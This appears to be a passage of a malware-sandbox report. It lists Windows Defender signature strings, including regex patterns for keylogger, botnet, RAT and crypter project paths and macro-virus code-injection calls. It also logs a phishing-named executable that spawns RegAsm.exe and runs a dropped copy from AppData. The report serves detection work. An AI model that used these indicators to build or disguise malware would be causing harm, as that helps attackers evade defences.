        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpBinary or memory string: .+:\\afron\\Loader.*VB.+\\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18316847212.0000015B1B582000.00000004.00000001.sdmpBinary or memory string: \Pack.vbp
        Source: MpSigStub.exe, 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmpBinary or memory string: .v2\Pagina\Proyecto1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmpBinary or memory string: C:\\Xinfiltrate STUB\\[a-zA-Z]{3,20}.vbp
        Source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmpBinary or memory string: Lkey logger project\logger\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18290355074.0000015B1AEB4000.00000004.00000001.sdmpBinary or memory string: C:\Arquivos de programas\Microsoft Visual Studio\VB98\Projetos.frm\Flame Kill\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmpBinary or memory string: .+:\\.+\\rkmVirus\\Yahoo Server\\.+\\rkmVirusYahoo.*\\.+.vbp
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpBinary or memory string: \update.vbp
        Source: MpSigStub.exe, 00000023.00000003.18311861284.0000015B1C02A000.00000004.00000001.sdmpBinary or memory string: papnsappsapusap5tap[yapmyapgabpagbptubp.vbp.wbpu.cpo_cprecpvicp
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpBinary or memory string: \KDWIN\KDWin.vbp
        Source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmpBinary or memory string: .VBProject.VBComponents(1).CodeModule.deletelines
        Source: MpSigStub.exe, 00000023.00000003.18315624417.0000015B1B02C000.00000004.00000001.sdmpBinary or memory string: \C:\ZKing8\WinZ\WSP\RenoNevada\FTPREM\MyFTP.vbp
        Source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmpBinary or memory string: Pinball.vbp
        Source: MpSigStub.exe, 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmpBinary or memory string: \WINDOWS.VBP]
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpBinary or memory string: &\SelectCaseEnum.vbp
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpBinary or memory string: .+\\Apr 14 2011 FileEZ HTTP\\ServiceSample.vbp
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpBinary or memory string: ?:.+\\Abdallah\\.+\\iCrypt2.+\\stub_resources\\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpBinary or memory string: \Virus\Romeo.vbp
        Source: MpSigStub.exe, 00000023.00000003.18338690411.0000015B1A7CB000.00000004.00000001.sdmpBinary or memory string: .vbpa)
        Source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmpBinary or memory string: .:\\Explorer\\Explorer.vbp
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpBinary or memory string: DC:\Base de donnee\test\Projet1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpBinary or memory string: stub.vbp
        Source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmpBinary or memory string: .+keylogger.+server\.vbp
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpBinary or memory string: A*\AE:\My Programs\Trojans, PS,Hack , Crack\Molela\Molela 1.15 beta\Server\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpBinary or memory string: -(.+\\mStubmmmm\\Backup.+\\lSUpRQlvPd.vbp
        Source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmpBinary or memory string: \\cryptor.+\\Project1\.vbp
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpBinary or memory string: Desktop\Russia\Error.vbp
        Source: MpSigStub.exe, 00000023.00000003.18284212320.0000015B1B935000.00000004.00000001.sdmpBinary or memory string: \AYO.vbp
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpBinary or memory string: ^AJ:\MASTER\ad_compiler\moy.exe\balvanka\ZAG.vbp
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpBinary or memory string: :5.+\\Hell Packer.+\\gregstubs\\HEX\\HEX\\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpBinary or memory string: AC:\puxa\lenda.vbp
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpBinary or memory string: 3..+\\Cyborg-Crypt-Source\\634z7\\Projekt1\.vbp
        Source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmpBinary or memory string: .vbp
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpBinary or memory string: E@.+:\\Work\\test\\.+\\Mouchafer\\.+\\.+\\.+_Generated-.*\\.+.vbp
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpBinary or memory string: .+:\\Documents and Settings\\Administrador\\Desktop\\LOAD.+\\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpBinary or memory string: C:\\Documents and Settings\\VAIO\\Desktop\\2012\\Codec\\Graphics.vbp
        Source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmpBinary or memory string: 3.\\Laboratorio de Virus\\WinXP\\Downloader.vbp
        Source: MpSigStub.exe, 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmpBinary or memory string: 2*\AC:\y0Za8\wpad\wpad.vbp
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpBinary or memory string: B=:\\.+\\Indetectables RAT.+p.+is.+\\SIN WINSOCK\\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpBinary or memory string: J\MWP\Processed\Start.B.1\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpBinary or memory string: MH.+:\\Documents and Settings\\User\\Desktop\\.*pia de.*fab\\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18297596094.0000015B1B44F000.00000004.00000001.sdmpBinary or memory string: *\AC:\Users\Administrator\Desktop\VB2\osama.vbpx
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpBinary or memory string: GBD:\\Main JOHN\\Recovered KILL\\.*Main Uploader\\ServiceSample.vbp
        Source: MpSigStub.exe, 00000023.00000003.18291256000.0000015B1B9B9000.00000004.00000001.sdmpBinary or memory string: cMicroLab.vbp
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpBinary or memory string: C>:\\.+\\Bkoli Hazm\\Lostdoor.+\\Client.+\\Helminth_Project.vbp
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpBinary or memory string: TroyanExplore\Instalar.vbp
        Source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmpBinary or memory string: VQ.+:\\Documents and Settings\\PC-[0-9]{1,3}\\Desktop\\loader fileVB\\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpBinary or memory string: .+:\\backup 20##11\\bank\\Pharming\\Projeto VB\\Project1.NET\\.+.vbp
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpBinary or memory string: B*\AF:\learn\visual basic\edu\hack\key logger\EgySpy v1.11\server\EgySpy.vbp
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpBinary or memory string: .+\\My Botnet( Source)?\\Server\\Project1\.vbp
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpBinary or memory string: \gugu.vbp]
        Source: MpSigStub.exe, 00000023.00000003.18329672768.0000015B1ADDA000.00000004.00000001.sdmpBinary or memory string: nh AV\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpBinary or memory string: removeTable.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString listboxStorageCounter
        Source: MpSigStub.exe, 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmpBinary or memory string: % .+:\\SO_GF\\puxador\\office.vbp
        Source: MpSigStub.exe, 00000023.00000003.18291256000.0000015B1B9B9000.00000004.00000001.sdmpBinary or memory string: HKnamemom.vbpa
        Source: MpSigStub.exe, 00000023.00000003.18301552816.0000015B1B9FA000.00000004.00000001.sdmpBinary or memory string: \Simplesso.vbp
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpBinary or memory string: <\ALLROUND STEALER\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18294597236.0000015B1A5CB000.00000004.00000001.sdmpBinary or memory string: -powerword\PowerWord.vbp
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpBinary or memory string: 4/.+\\My Botnet( Source)?\\Server\\Project1\.vbp
        Source: MpSigStub.exe, 00000023.00000003.18309645507.0000015B1A404000.00000004.00000001.sdmpBinary or memory string: \Bonus 1.5.vbp
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpBinary or memory string: C:\\Users\\GavaLarr\\Desktop\\Windows\\prjSchool.vbp
        Source: MpSigStub.exe, 00000023.00000003.18433465792.0000015B1B723000.00000004.00000001.sdmpBinary or memory string: .+:\\.+\\Cactilio - Joiner.+\\Src\\Stub\\YvcGVCI.vbp
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpBinary or memory string: 6@*\AC:\server\Tarantula.vbp
        Source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmpBinary or memory string: ysp\ysp.vbp
        Source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmpBinary or memory string: .+:\\.+\\Desktop\\Yeni Klas.+\\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpBinary or memory string: >\YPKISS~1\ULTIMA~1\ULTIMA~1.VBP
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpBinary or memory string: C:\\Documents and Settings\\Administrador\\Mis documentos\\Trabajo Empresarial de Luis\\.*.vbp
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpBinary or memory string: :Black Dream\Server\Server.vbp]
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpBinary or memory string: <7.+:\\.+\\Desktop\\Codes\\Registro dll\\RegistroDll.vbp
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpBinary or memory string: d_C:\\Documents and Settings\\Administrador\\Mis documentos\\Trabajo Empresarial de Luis\\.*.vbp
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpBinary or memory string: *\AG:\AM\Fonte\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18293334552.0000015B1BC8E000.00000004.00000001.sdmpBinary or memory string: 8\MicroProCon\FileConfig.vbp
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpBinary or memory string: .VBProject.VBComponents("ThisDocument").CodeModule.AddFromString
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpBinary or memory string: |C:\Documents and Settings\Diego\Desktop\gold hack\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmpBinary or memory string: ..\Desktop\Startup\Bitar.vbp
        Source: MpSigStub.exe, 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmpBinary or memory string: .+:\\SO_GF\\puxador\\office.vbp
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpBinary or memory string: fzx9823.vbp
        Source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmpBinary or memory string: 1.VBProject.VBComponents(1).CodeModule.insertlines
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpBinary or memory string: .+\\Virus Maker\\s1\\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18330938423.0000015B1AA81000.00000004.00000001.sdmpBinary or memory string: A*\AC:\Users\Joke_codder\Desktop\RSRS\fvgbhncfvgbhnjm.vbpx
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpBinary or memory string: 72C:\\Program Files\\jarrcod\\mesopotamia_cellt.vbp
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpBinary or memory string: KFC:\\Documents and Settings\\VAIO\\Desktop\\2012\\[a-zA-Z]+\\GbpSv.vbp
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpBinary or memory string: C:\\.+\\www.microfost.com -3.vbp
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpBinary or memory string: ,'.+:\\afron\\Loader.*VB.+\\Project1.vbp
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpBinary or memory string: .+\\Cyborg-Crypt-Source\\634z7\\Projekt1\.vbp
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpBinary or memory string: `@*\AC:\PiElcestial-udtools-net-indetectables.vbp
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers
        Source: unknownProcess created: C:\Users\user\Desktop\Foreign_Bank Account Details.exe 'C:\Users\user\Desktop\Foreign_Bank Account Details.exe'
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe 'C:\Users\user\Desktop\Foreign_Bank Account Details.exe'
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        Source: unknownProcess created: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe 'C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe'
        Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        Source: unknownProcess created: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe 'C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe'
        Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        Source: unknownProcess created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exe 'C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\mpam-c45e5da5.exe' /q WD
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exeProcess created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exe C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exe /stub 1.1.18500.10 /payload 1.351.256.0 /program C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\mpam-c45e5da5.exe /q WD
        Source: unknownProcess created: C:\Windows\System32\wevtutil.exe C:\Windows\system32\wevtutil.exe uninstall-manifest C:\Windows\TEMP\DFC5CBF6-B4C4-B49D-335D-ADBEBB78227A.man
        Source: C:\Windows\System32\wevtutil.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        Source: unknownProcess created: C:\Windows\System32\wevtutil.exe C:\Windows\system32\wevtutil.exe install-manifest C:\Windows\TEMP\DFC5CBF6-B4C4-B49D-335D-ADBEBB78227A.man '/resourceFilePath:C:\ProgramData\Microsoft\Windows Defender\Definition Updates\StableEngineEtwLocation\mpengine_etw.dll' '/messageFilePath:C:\ProgramData\Microsoft\Windows Defender\Definition Updates\StableEngineEtwLocation\mpengine_etw.dll' '/parameterFilePath:C:\ProgramData\Microsoft\Windows Defender\Definition Updates\StableEngineEtwLocation\mpengine_etw.dll'
        Source: C:\Windows\System32\wevtutil.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        Source: unknownProcess created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\mpam-f54ed867.exe
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeProcess created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exe C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exe /stub 1.1.18500.10 /payload 4.18.2109.6 /program C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\mpam-f54ed867.exe
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe 'C:\Users\user\Desktop\Foreign_Bank Account Details.exe'
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exeProcess created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exe C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exe /stub 1.1.18500.10 /payload 1.351.256.0 /program C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\mpam-c45e5da5.exe /q WD
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeProcess created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exe C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exe /stub 1.1.18500.10 /payload 4.18.2109.6 /program C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\mpam-f54ed867.exe
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D4F118 LookupPrivilegeValueW,GetCurrentProcess,CloseHandle,AdjustTokenPrivileges,CloseHandle,GetLastError,CloseHandle,
        Source: MpSigStub.exe, 00000023.00000003.18262597335.0000015B0C754000.00000004.00000001.sdmpBinary or memory string: UPDATE AtomicCounters SET Name = ?, Count = ?, InsertTime = ?, ExpireTime = ? WHERE Key = ?;
        Source: MpSigStub.exe, 00000023.00000003.18260309272.0000015B0C57A000.00000004.00000001.sdmpBinary or memory string: SELECT 1 FROM SQLITE_MASTER WHERE type=? AND name=? LIMIT 1;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: INSERT INTO FileLowFiAsync(Key, FileName, SigSeq, SigSha, SigIsSync, InstanceTimeStamp) VALUES(?, ? , ? , ? , ? , ?);
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT ID FROM ProcessBlockHistory WHERE ProcessPath = ?;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: INSERT INTO AnomalyInfo(Key, UnbiasedTime) VALUES (?, ?);
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: UPDATE SQLiteGlobals SET Current = 0 WHERE Current = 1; INSERT INTO SQLiteGlobals(Version, Current, LastUpdated) VALUES(13, 1, date('now'));
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT Count(1) FROM AutoFeatureControl;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT DISTINCT TableName FROM AnomalyTables;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT Key FROM FileHashes WHERE FileHashes.Key = ?;
        Source: MpSigStub.exe, 00000023.00000003.18262597335.0000015B0C754000.00000004.00000001.sdmpBinary or memory string: INSERT INTO RollingQueuesTables(Key, Name, Capacity, TimeToLive, Mode) VALUES(? , ? , ? , ? , ?); DELETE FROM RollingQueuesTables WHERE RollingQueuesTables.Key = ?; DELETE FROM RollingQueuesTables WHERE (Name NOT IN (SELECT DISTINCT EntryTable FROM RollingQueuesValues)); SELECT Key, Name, Capacity, TimeToLive, Mode FROM RollingQueuesTables WHERE Key = ?; SELECT Key FROM RollingQueuesTables WHERE RollingQueuesTables.Key = ?; SELECT EntryTable, EntryKey, EntryValue, InsertTime, ExpireTime FROM RollingQueuesValues WHERE EntryTable = ?; INSERT INTO RollingQueuesValues(EntryTable, EntryKey, EntryValue, InsertTime, ExpireTime) VALUES(? , ? , ? , ? , ?); DELETE FROM RollingQueuesValues WHERE ExpireTime < ?; DELETE FROM RollingQueuesTables; DELETE FROM RollingQueuesValues; SELECT COUNT(1) FROM RollingQueuesValues; Failed to fetch row from prepared statement.Failed to get column from prepared statement.Failed to bind value to prepared statement.
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT Count(1) FROM RansomwareDetections;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: UPDATE %Q.%s SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT Count(1) FROM NetworkIpFirewallRules;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: INSERT INTO RollingQueuesValues(EntryTable, EntryKey, EntryValue, InsertTime, ExpireTime) VALUES(? , ? , ? , ? , ?);
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT Key, Name, Count, InsertTime, ExpireTime, UpdateTime FROM AtomicCounters WHERE Key = ?;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT Key, VSN, FileID, USN, InstanceTimeStamp, SHA1, MD5, SHA256, LSHASH, LSHASHS, CTPH, PartialCRC1, PartialCRC2, PartialCRC3, KCRC1, KCRC2, KCRC3, KCRC3n FROM FileHashes WHERE Key = ?;
        Source: MpSigStub.exe, 00000023.00000003.18262597335.0000015B0C754000.00000004.00000001.sdmpBinary or memory string: INSERT INTO AutoFeatureControl(Key, CurrCount, MaxCount, InstanceTimeStamp) VALUES (?, ?, ?, ?);DELETE FROM AutoFeatureControl;DELETE FROM AutoFeatureControl WHERE InstanceTimeStamp < ?; SELECT ID FROM AutoFeatureControl WHERE AutoFeatureControl.Key = ?;SELECT Key, CurrCount, MaxCount, InstanceTimeStamp FROM AutoFeatureControl WHERE Key = ?DELETE FROM AutoFeatureControl WHERE AutoFeatureControl.Key = ?;SELECT Count(1) FROM AutoFeatureControl;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT ProcessPath, TimeStamp, TargetPath, RuleId, IsAudit, Action, ProcessTaintReason, ProcessIntegrity FROM ProcessBlockHistory WHERE ProcessPath = ? ORDER BY TimeStamp DESC;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT COUNT(1) FROM FileLowFiAsync;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT ID from RecordIdentifier WHERE Key = ? AND RecordTimeStamp = ? ;
        Source: MpSigStub.exe, 00000023.00000003.18262597335.0000015B0C754000.00000004.00000001.sdmpBinary or memory string: SELECT FilePath, FirstStartTime, NextUSN, AutomaticRemovalPolicy, ImpactedCBPNameSpaces FROM BackupProcessInfo WHERE Key = ?;SELECT Count(1) FROM BackupProcessInfo;SELECT ID FROM BackupProcessInfo WHERE Key = ?;INSERT INTO BackupProcessInfo(Key, FilePath, FirstStartTime, NextUSN, AutomaticRemovalPolicy, ImpactedCBPNameSpaces, InstanceTimeStamp) VALUES ( ?, ?, ?, ?, ?, ?, ?);DELETE FROM BackupProcessInfo WHERE Key = ?;DELETE FROM BackupProcessInfo WHERE InstanceTimeStamp < ?; ^;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT Count(1) FROM SystemFileCache WHERE CleanFileShaHash = ?;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: UPDATE SQLiteGlobals SET Current = 0 WHERE Current = 1; INSERT INTO SQLiteGlobals(Version, Current, LastUpdated) VALUES(14, 1, date('now'));
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: UPDATE SQLiteGlobals SET Current = 0 WHERE Current = 1; INSERT INTO SQLiteGlobals(Version, Current, LastUpdated) VALUES(6, 1, date('now'));
        Source: MpSigStub.exe, 00000023.00000003.18262597335.0000015B0C754000.00000004.00000001.sdmpBinary or memory string: INSERT INTO FolderGuardPaths(UserIdHash, UserId, GUID, Path) VALUES ( ?, ?, ?, ? );SELECT ID FROM FolderGuardPaths WHERE UserIdHash = ? LIMIT 1;SELECT UserId, GUID, Path FROM FolderGuardPaths WHERE UserIdHash = ?SELECT Count(DISTINCT UserIdHash) FROM FolderGuardPaths;DELETE FROM FolderGuardPaths WHERE UserIdHash = ?;N
        Source: MpSigStub.exe, 00000023.00000003.18260309272.0000015B0C57A000.00000004.00000001.sdmpBinary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT ID FROM DynSigRevisions WHERE DynSigRevisions.Key = ?;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT ProcessPath, TimeStamp, TargetPath, RuleId, IsAudit, Action, ProcessTaintReason, ProcessIntegrity FROM ProcessBlockHistory WHERE ProcessPath = ? AND TimeStamp = ? ORDER BY TimeStamp DESC;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: SELECT ProcessPath, TimeStamp, TargetPath, RuleId, IsAudit, Action, ProcessTaintReason, ProcessIntegrity FROM ProcessBlockHistory WHERE RuleId = ? ORDER BY TimeStamp DESC;
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: UPDATE SQLiteGlobals SET Current = 0 WHERE Current = 1; INSERT INTO SQLiteGlobals(Version, Current, LastUpdated) VALUES(4, 1, date('now'));
